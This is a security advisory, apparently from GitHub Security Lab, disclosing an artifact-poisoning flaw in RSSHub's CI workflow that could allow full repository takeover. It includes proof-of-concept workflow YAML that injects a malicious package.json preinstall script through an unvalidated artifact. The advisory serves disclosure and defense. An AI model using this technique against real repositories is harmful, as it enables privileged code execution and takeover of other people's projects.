Coordinated Disclosure Timeline
- 2024-07-29: Reported through GitHub’s Private Vulnerability Reporting (PVR).
- 2024-09-05: Security Lab requests a status update.
- 2024-09-25: Issue fixed.
- 2024-09-25: Advisory published.
Summary
RSSHub’s docker-test-cont.yml
workflow is vulnerable to Artifact Poisoning which may lead to a full repository takeover.
Project
RSSHub
Tested Version
Latest commit at the time of reporting.
Details
Artifact Poisoning in docker-test-cont.yml
workflow. (GHSL-2024-178
)
The docker-test-cont.yml
workflow gets triggered when the PR - Docker build test
workflow completes successfully:
on:
workflow_run:
workflows: [PR - Docker build test] # open, reopen, synchronized, edited included
types: [completed]
It then collects some information about the Pull Request that triggered the triggering workflow and sets some labels depending on the PR body and sender. If the PR also contains a routes
markdown block, it will set the TEST_CONTINUE
environment variable to true
.
The workflow then downloads and extracts an artifact uploaded by the triggering workflow which is expected to contain a single rsshub.tar.zst
file. However, this is not validated and the contents are extracted in the root of the workspace overriding any existing files:
- name: Fetch Docker image
if: (env.TEST_CONTINUE)
uses: dawidd6/action-download-artifact@v6
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
run_id: ${{ github.event.workflow_run.id }}
name: docker-image
After a few steps, the workflow installs the pnpm dependencies with:
- name: Install dependencies (pnpm) # require js-beautify
if: (env.TEST_CONTINUE)
run: pnpm i
Since the contents of the artifact have not been validated, it is possible for a malicious actor to send a Pull Request which uploads, not just the rsshub.tar.zst
compressed docker image, but also a malicious package.json
file with a script to run arbitrary code in the context of the privileged workflow.
PoC
- Clone the repository
- Modify
docker-test.yml
workflow. Keep the original content but perform the following modifications:- Add the following step before the upload artifact step:
- name: Test Docker image
run: bash scripts/docker/test-docker.sh
- name: Export Docker image
run: |
mkdir payload
cd payload
docker save rsshub:latest | zstdmt -o rsshub.tar.zst
cat <<EOF > package.json
ADD HERE THE CONTENTS OF THE ORIGINAL PACKAGE.JSON (omitted for clarity) AND ADD A NEW PREINSTALL SCRIPT:
`"preinstall": "echo COMPROMISED",`
EOF
- name: Upload Docker image
uses: actions/upload-artifact@v4
with:
name: docker-image
path: payload
retention-days: 1
- Create a Pull Request and add a valid
routes
comment in the body of the Pull Request - Watch the execution of the vulnerable workflow log and look for the word
COMPROMISED
in it.
Impact
The workflow runs with full-write privileges which may allow a malicious actor to take over the Repository:
Actions: write
Attestations: write
Checks: write
Contents: write
Deployments: write
Discussions: write
Issues: write
Metadata: read
Packages: write
Pages: write
PullRequests: write
RepositoryProjects: write
SecurityEvents: write
Statuses: write
Resources
- CodeQL for JavaScript - Expression injection in Actions
- Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests
- Keeping your GitHub Actions and workflows secure Part 2: Untrusted input
CVE
- CVE-2024-47179
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-178
in any communication regarding this issue.